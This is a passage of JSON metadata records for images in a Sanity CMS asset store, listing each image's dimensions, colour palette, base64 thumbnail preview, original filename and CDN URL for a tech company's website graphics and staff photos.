adjacent.","assetId":"4c2da3ca1a6fe3764b8cf234447e3f1eeb539c63","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.3057851239669422,"height":242,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA9ElEQVQYlV3NS2+DMBAEYP7/76ta9dAIsL1+7XoNfmAMSSqSW6TvMJeZGdZ8J96JO8buaYshLyEhVYfN+uawezoddud3j51DW0MKVJD2JZ3Dkk5PzWID16TOzkRvWMI6yTTKNKsqdRNQZ1UkbNZkbwJAlLogHwMv3bgKtkqzCbUa5a3ys4i3Kf6NPIokoFxDYhUqa2ArjRA0qWyxX8/E3VEHt4MpFshpUjrNkGfI0hSwVekiddG2WhOtclKx1OUq5/pM5bGkO8WT+KDQKDTkjnx8ID4wbKDjbfKjCNrlq/yWyuPl+fLOn2Lqs8Kv79vP7zRL/AcRMk8Y2GADfQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c43","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f6405","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c43","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbcd4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcecb4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#70709a","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c009","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-partitioning-users-and-actions.png","path":"images/sczeoy4w/production/4c2da3ca1a6fe3764b8cf234447e3f1eeb539c63-800x242.png","sha1hash":"4c2da3ca1a6fe3764b8cf234447e3f1eeb539c63","size":14780,"title":null,"uploadId":"NfQZDQY3keqVw6RiDSZ4LiIqyV0I2xG0","url":"https://cdn.sanity.io/images/sczeoy4w/production/4c2da3ca1a6fe3764b8cf234447e3f1eeb539c63-800x242.png"} {"_createdAt":"2022-06-15T20:02:07Z","_id":"image-4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEcgpJ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:57Z","assetId":"4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQOpu+^+^a0ntlL2M}RnxTj_~3ITEN-UV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADK0lEQVQokSXGSWwbVRgA4DlyR1yLVPXCneWABL2hXrgU9QISEohDJS5NmzYI2iBBCHYAqQUuUQt0UWniMZBA1IgmTm3Hie0Zb9jOLPbM82z2+L03Xic0ofb/I8Hp+wSDtGdU3fpRa9jxpunFmqYnNgxX1HRbJJYv+nQkMh6KjI9Fnw5Ez2dip22L3KuLfbfyS+BbccoGccrD2yw4vCoUy8oP6V1JT6ayvVQ6x5LpHE9nJL6fK/G6YvJ2u8c7fp9XW4yvqZQvV31+p97iyYbCia1w1nE4p0FA2cjsslFcKFVUMZ2RgsepLO4k93E7kcHUbh4rVR2J1UXPG6LUCHBJ8vFskuLpRBffTLTwcqqGa+Ua6qaJxGjhgdIc1uqNbcFodVf1psv0hoOabk8VrQV60wG33QPKQlCtEJZyI3hlM4CT6x68+JsOb6zm4d3bGxB9sAbi+sY0FhMxFov3EonUI0HxxmseHQeUh0h5CF02RkrHSP0xMnuIj0sjPPcwxBPxAF+NHeD7dzbxwnc/4cXFb/Di/Oc4+/E8LH7xJcZXVvq1SuVPIUPCTZse9hgPkXVGwOw+0maAtE6xW/Bxe4fh+Y0+nvvDxdlf83ht+QF++NkNPDuzBK+fj+I7czdg9e4KkuJef2Qrj4SCHW64NOyxzhCZ5gMr2cBkC7hsAy86oBS6cH+/B9EdH66t6/DeTQleW0jBiUtpeP5KFmZu5UHL5XBiZPtPzd0twfWHIqUDxj2GPdWaDmoGDBQThkYLQtsCatrw+74PH9zvw8vXe3ByoQvPfeTBs7MOnI6a8PPDv6ZDJYtIMv2pmd4ShjaJBaQZMFPDAVHxb1vDI0/D446KTzsH+MSpY6Gg4pV7Nr604OOpORdfmGvhmUUDr6/W0CxKOCG5I3DyB+DkbwpP1Pz3g2qmSOt71tCQzX/cMpl6ZTJ1SwTcIgGnQMZGkeSyVfKtqJLLy5r1yS3Nurdeb+lykRwbkoaOvAWu/Cm48hlhYuy9faTvzh82MtFjko2AI0XQkf/z/0sRdKXIxJYjfb0QtcvFr1y58PWwKkUnTSkCtnQVHOktdKRT4OSf+RdDAMx+jIzftAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443e3c","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05447f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0a7fed","foreground":"#fff","population":8.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8c3c9","foreground":"#000","population":1.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8fe3f3","foreground":"#000","population":0.18,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60ae9c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a7fed","foreground":"#fff","population":8.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac-1567x844.png","path":"images/sczeoy4w/production/4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac-1567x844.png","sha1hash":"4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac","size":479982,"uploadId":"babXCSbPb6JEBoCs8i47pFvVwoitHLsH","url":"https://cdn.sanity.io/images/sczeoy4w/production/4cf0df35ab4c1cd4677f0a9b2dab368d2eb14cac-1567x844.png"} {"_createdAt":"2024-02-08T08:57:19Z","_id":"image-4d05bc1a7856a5cfcf3a5dccda7684505067a1e5-1200x628-png","_rev":"AUoLUkEDo6CVeRx5sncuNl","_type":"sanity.imageAsset","_updatedAt":"2024-02-08T08:57:19Z","assetId":"4d05bc1a7856a5cfcf3a5dccda7684505067a1e5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6TNvP*XW9-TZP~qk:iwj0eAa0Z$f+gNgM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB8ElEQVQokR3Q20/SYRjA8R+KJh5q0DBdaU3l0DgVRBonobZqXbRVpiIy0my2nIcOMBNKzgfBkEOOrJvWvOmPfL/1cvPcffZ9nkcRSwNi8zofbcQdJKwkLHy2cGAlaebAQNLAFyNZM0dOzh7y+xlnD6jb+Waj5VLEyjB7VtIhsvfJzJP1k/NRClIJUQlQukfFw0mQH084j/B3jV+PqJqoTFE1SCz2rBwGSQdJ+8n4yHkpzktc9ktcC9B+zM+n/FniPEzbS3GS/DhZvSLCw2LXIvFhgK8e0h5ZLgYoeDi0y7VTRvI2qi7aPjohGi6qRso3yI8rYnlQbM2Q9JCcY99Jyk0+QNFP1s2+gW0tW4N8uERqnLKRk1s0XTSc1G0czShiQS1WL7J+hY1RNnS8HWV3gvfX2BtjR8eWhnd97A6Q1HexgxO7nA0HVZMinveIhT4WL7DcT7iXSC8xNa/UbPSxPUL8MnEtCS3pq9QsNJ0c36RmkuW6TREv+0VUJ9ZGWdMR1RDpIaoippL4k57cDPlpMpMUpqg7aN2hZpbfbt7m+6wiFgfE+pjYnBBvxkRsqIsViV+rieupWDi2UzJSMclr23e7TTuns3S8injRK5Y0hIdY0bCiJqJitYvXVeyMUDBSs1OYlrjl5nROxttuOp7/+B9xH0WmKsZ5RgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935805","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac479","foreground":"#000","population":0.51,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Final- maintaining-innovation-and-access-to-skills-for-oss-projects-65c49750423d8.png","path":"images/sczeoy4w/production/4d05bc1a7856a5cfcf3a5dccda7684505067a1e5-1200x628.png","sha1hash":"4d05bc1a7856a5cfcf3a5dccda7684505067a1e5","size":72440,"uploadId":"40Y9EhbYe1G9qbvD4QpgUgg9WoCVN8zY","url":"https://cdn.sanity.io/images/sczeoy4w/production/4d05bc1a7856a5cfcf3a5dccda7684505067a1e5-1200x628.png"} {"_createdAt":"2022-12-08T13:38:14Z","_id":"image-4d0f8cc2de36ca03424271f1c91a07959f31a9a8-512x512-jpg","_rev":"VrdcoLtXxUWed6PHr4CRO5","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:38:14Z","assetId":"4d0f8cc2de36ca03424271f1c91a07959f31a9a8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eTJ@RSS4?v%2i_~Vj[W=oeWB9]oLVsR*j?-pj[xGayM|NHj[RjWBW;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGwABAAEFAQAAAAAAAAAAAAAAAAYCAwQFBwj/xAAnEAABAwQABQQDAAAAAAAAAAABAAIDBAUGERITFCFBIzIzgVFSYf/EABcBAAMBAAAAAAAAAAAAAAAAAAIDBQT/xAAbEQACAwEBAQAAAAAAAAAAAAAAAQIRITEDEv/aAAwDAQACEQMRAD8AmOaXKe3WmLpZRC+eQRmX9B5IWrx4iir4GQXeaubUfJHK7ev6FkZ5NE2wiolAc2F+w0+VHsLutLX10LRHGJB7XAa+lgndqil5/Di76dGe7hdob0isSThjiERijyzkOT3e6vJrKyRzWnYY06aPpVU19uE3I9cx8tu28scPf8oiqOKzCcpPdJFRZ1foqcM6oP1229uyiIluEb4MUpV0/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503e33","foreground":"#fff","population":3.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a1627","foreground":"#fff","population":1.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccbcac","foreground":"#000","population":6.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbcac","foreground":"#000","population":6.81,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5a487","foreground":"#000","population":2.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a27361","foreground":"#fff","population":6.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c28c6d","foreground":"#000","population":5.51,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Maxim Muzafarov.jpg","path":"images/sczeoy4w/production/4d0f8cc2de36ca03424271f1c91a07959f31a9a8-512x512.jpg","sha1hash":"4d0f8cc2de36ca03424271f1c91a07959f31a9a8","size":41701,"uploadId":"i5kDdgSUyVtS8ekkm2mb8i4tc9B0Vxxr","url":"https://cdn.sanity.io/images/sczeoy4w/production/4d0f8cc2de36ca03424271f1c91a07959f31a9a8-512x512.jpg"} {"_createdAt":"2022-06-30T19:59:27Z","_id":"image-4d25f5b09fe9efa0d54e592b07c1c82fe5489bf6-1600x900-png","_rev":"CK1sLU2mnwa3vmbYWEcTgf","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:49Z","assetId":"4d25f5b09fe9efa0d54e592b07c1c82fe5489bf6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNRMl8xt%L%Mf8t8jZxtbbNG~pNHt6oJRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":900,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+0lEQVQokW2SS0/cMBSF808rdVupv6ZSF5UqdccWFaSWIiFaoIUODMPAvBLGcZKJnZcd5+HYju20M1BWPTqLK517z+Z+zjAM9p+3s7W0VSNQfn3Ivs2zE4/8CipYStFbawez84scOwxma2vsVr3WUdEeTfHeT7B34e6Pg1MvB0XLle56UwndKKuNHey2wxHaVEKVXDRCcM4JoXM/OZ6Exzfe2Xh+u/LXmGDaMK6KpodURJQTVvG21Vo7lKsgI14YBzFCGAPgX069/StwMgEuCBBO1qi4BsUqaTCTXlrfPsaT2RIGQdd1DuES4GzhgaXr+hCGUbSC6LeL52GWE4rT/MqND243Y5/kFZ+H+d7pw6cvo+vZuuXcKTsFs9LzA9d1gwDmeV6yKqXVJqcQZdMVOJuszmfBGpGyqs8f4JsP31+9O/l86VZt57RCJZT5YbQGMIxxUlDKGCJsuqFnLjoae4dXy9N76Ce0bvnlInr78eL1+x+Ho3XdCkepvqrrCKeLMJkiukgZRKkXxEvMZmlzt2FjSO4jmrBOKh2T5uhuc3ATPqJS9toxxkgpScPdopnm3Cu7TVbECNOa8962yjbStFIrvf1zr03VKcaV7LW1g/MEhjKmVqaUpulNJ6UQQuttvPOTdggNg7FPROwgecHleXXX9Rz+Ty8s/j3+A1cTXsA8nBpyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d5b71","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b5392","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bdcbd2","foreground":"#000","population":3.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdcbd2","foreground":"#000","population":3.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97e5f9","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#558ab2","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c8ee6","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4d25f5b09fe9efa0d54e592b07c1c82fe5489bf6-1600x900.png","path":"images/sczeoy4w/production/4d25f5b09fe9efa0d54e592b07c1c82fe5489bf6-1600x900.png","sha1hash":"4d25f5b09fe9efa0d54e592b07c1c82fe5489bf6","size":136034,"uploadId":"K9bMBNBOw77yaBjcLNcM0UBRglE1y10k","url":"https://cdn.sanity.io/images/sczeoy4w/production/4d25f5b09fe9efa0d54e592b07c1c82fe5489bf6-1600x900.png"} {"_createdAt":"2023-04-11T10:01:53Z","_id":"image-4d9942890d7dbe254b5b8def13b1c2dcb60c42d2-1752x2336-jpg","_rev":"rJUhHYnxPdW15WAgs3NHgD","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T15:40:38Z","altText":"Cara Baestlein","assetId":"4d9942890d7dbe254b5b8def13b1c2dcb60c42d2","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dJOgB100PV-:00M_tRxu*0-=v}M{-=%MofRiNGV@RPj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.75,"height":2336,"width":1752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGgAAAgIDAAAAAAAAAAAAAAAAAAUEBwIDBv/EACQQAAIBBAICAQUAAAAAAAAAAAECAwAEBREhMQYSFDNBQmFx/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQIDBP/EABwRAAMAAgMBAAAAAAAAAAAAAAABAgMREhNBUf/aAAwDAQACEQMRAD8A7/IeR2+NspHjjEkq8InWzTfxC6y1wiPl4bcRzfTaI9fo1XOcgkJBVC6K4LADfFWr4fCY8XjlljJeRd7J61U3b5aLTinrdej02iHkqKKn+tFXMwls8ZbfBiWOJCEGjx3UvFQB52IDLFBwoPW61eNEkzqTtQeqb2n5D7e1NcJvYZyNJz9JAjVxs8Gisl6P9opQH//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d492b","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3f25","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7a594c","foreground":"#fff","population":7.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3b19f","foreground":"#000","population":1.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecf4fc","foreground":"#000","population":6.68,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a594c","foreground":"#fff","population":7.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5946c","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"cara-baestlein.jpg","path":"images/sczeoy4w/production/4d9942890d7dbe254b5b8def13b1c2dcb60c42d2-1752x2336.jpg","sha1hash":"4d9942890d7dbe254b5b8def13b1c2dcb60c42d2","size":642197,"title":null,"uploadId":"JsrsyrVij8gEtCyN3eT4khr6ZghD10RN","url":"https://cdn.sanity.io/images/sczeoy4w/production/4d9942890d7dbe254b5b8def13b1c2dcb60c42d2-1752x2336.jpg"} {"_createdAt":"2022-09-26T16:07:05Z","_id":"image-4db3961fd96b5e2bb0abbe14ef19684d9e63772b-858x502-png","_rev":"XMqVxILwpPMz4xYxc7p80v","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:17Z","assetId":"4db3961fd96b5e2bb0abbe14ef19684d9e63772b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M26Hy7~qxut7RjxuRjoft7RjM{RjRjt7WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7091633466135459,"height":502,"width":858},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAABaklEQVQokXWT3Y6CUAyEeRHQoyCoCKigxp+IemF8/wfq5qsZl03Wi0l75JzptFOjqqqsrmtbr9fWNI3pDMqytKIoHHxr29a22611XWeHw8E2m41lWWZJklgcxx4jLg3BAy6uVisn4kGWpTafz73Acrn0WNeV55PJxMmE6HQ62fF49IrE8/ls+/3eCUIINh6PHSGA8AFExNFo5MqEiMdd17oq1HHe7XbeOgrzPP+D2Wzm0LkoCi+ubiKImA8t0gJE/MZMyTVT5YC7w3PTNH5nsVhYRMKQAR+Zjx6oiBQIKEvT1KbTqUM5Y3BT7ve7PZ9Pu16v3jLktA2oLgJayvN3y8x1aEYsU3h8u93s9Xo5MYQUkWpUUv1tTHBiCMmHZiQyhXnh9OPxsL7v3W1IgXbtd32yjzFSmDgR8Q0nZF0gu1wun1alELXD2WrZvxLqH4Aa1kbLi2OYoShwRuVXQi5AIJKhm99A6yz0f4Q/ns1nXSyYsYYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f3f3f","foreground":"#fff","population":1.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bababa","foreground":"#000","population":3.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bababa","foreground":"#000","population":3.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4db3961fd96b5e2bb0abbe14ef19684d9e63772b-858x502.png","path":"images/sczeoy4w/production/4db3961fd96b5e2bb0abbe14ef19684d9e63772b-858x502.png","sha1hash":"4db3961fd96b5e2bb0abbe14ef19684d9e63772b","size":172299,"uploadId":"v8gwwMvAUnRoJNos9XnI7z1kmIdCE0Bq","url":"https://cdn.sanity.io/images/sczeoy4w/production/4db3961fd96b5e2bb0abbe14ef19684d9e63772b-858x502.png"} {"_createdAt":"2023-12-07T13:08:31Z","_id":"image-4dcb43757d4cde504ab0203e60374e91a40ea30d-1216x684-jpg","_rev":"A6877bpl8a6IECeaPo03kb","_type":"sanity.imageAsset","_updatedAt":"2023-12-07T13:08:31Z","assetId":"4dcb43757d4cde504ab0203e60374e91a40ea30d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFAI~Ir-1ROr#hxHjZS5bFoJ0eSe}QrrOb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":684,"width":1216},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFBgf/xAAhEAACAgIBBAMAAAAAAAAAAAABAgADBAUSERYhUSIxQf/EABcBAAMBAAAAAAAAAAAAAAAAAAMEBQb/xAAdEQACAwACAwAAAAAAAAAAAAABAgADERITIUFR/9oADAMBAAIRAxEAPwDj2k0mHl4tF12wSl3biUP2Jc7W1iYVdybmprGcoU9TB0HzHKj8j5M0fVY1iur4B6weYNbaxWUKafsoZNSY171JZzVT0DD9hEix9wlLnFcn/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#311b3c","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041e78","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d6774d","foreground":"#fff","population":11.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c386c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8996ce","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5ca7","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6774d","foreground":"#fff","population":11.64,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"illustration-support.jpg","path":"images/sczeoy4w/production/4dcb43757d4cde504ab0203e60374e91a40ea30d-1216x684.jpg","sha1hash":"4dcb43757d4cde504ab0203e60374e91a40ea30d","size":29712,"uploadId":"wI7cgwpQsywLUqtbQI3iOutI29qQimOC","url":"https://cdn.sanity.io/images/sczeoy4w/production/4dcb43757d4cde504ab0203e60374e91a40ea30d-1216x684.jpg"} {"_createdAt":"2023-11-07T14:46:01Z","_id":"image-4ddc9de5e63cc88507cb5e17c50f15f9aa7cb8cf-1500x1500-jpg","_rev":"YgPujUcKQ2JSpcKSYWHwWs","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T14:46:01Z","assetId":"4ddc9de5e63cc88507cb5e17c50f15f9aa7cb8cf","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"enNdBw9txZs:o|_N-pRjV@jZgOa0ogbbV@MwS$s,f8WV%MozRkxGoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1500,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAYHCAH/xAAoEAACAgEDAgQHAAAAAAAAAAABAwACBAUGEQchEhMVMSMyYWJxkdH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAH/xAAfEQACAgIBBQAAAAAAAAAAAAABAgARAwQSITFBYcH/2gAMAwEAAhEDEQA/ANDJzFsaVUuCwDnwzrsu6Wd6EqI73A+X8zOWX1nL2UboumN8+pHNm254/UlNN96puvBxU6K9eDrAt8ZDLDi4+3+TWRkFkTddUz5Bj5cb8ntLsW5ZoCH0MSJ6CzPOmr9WIvljtYrWQIkw3MRF/Iz6boxWwa9zOu7dvYOH1F9Jw/NRhO4vai7cd/pL42N0927otUZmJhm+UByGtv4rAxEuYniJAvUywB7ewiIhRZ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30333e","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c2c44","foreground":"#fff","population":12.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c2c44","foreground":"#fff","population":12.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbd3bf","foreground":"#000","population":1.5,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee9a48","foreground":"#000","population":2.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#688496","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d21329","foreground":"#fff","population":4.69,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-swag-group.jpg","path":"images/sczeoy4w/production/4ddc9de5e63cc88507cb5e17c50f15f9aa7cb8cf-1500x1500.jpg","sha1hash":"4ddc9de5e63cc88507cb5e17c50f15f9aa7cb8cf","size":203567,"uploadId":"9eXKZNqw2NpX0EdXanU734vG8GlTaN0I","url":"https://cdn.sanity.io/images/sczeoy4w/production/4ddc9de5e63cc88507cb5e17c50f15f9aa7cb8cf-1500x1500.jpg"} 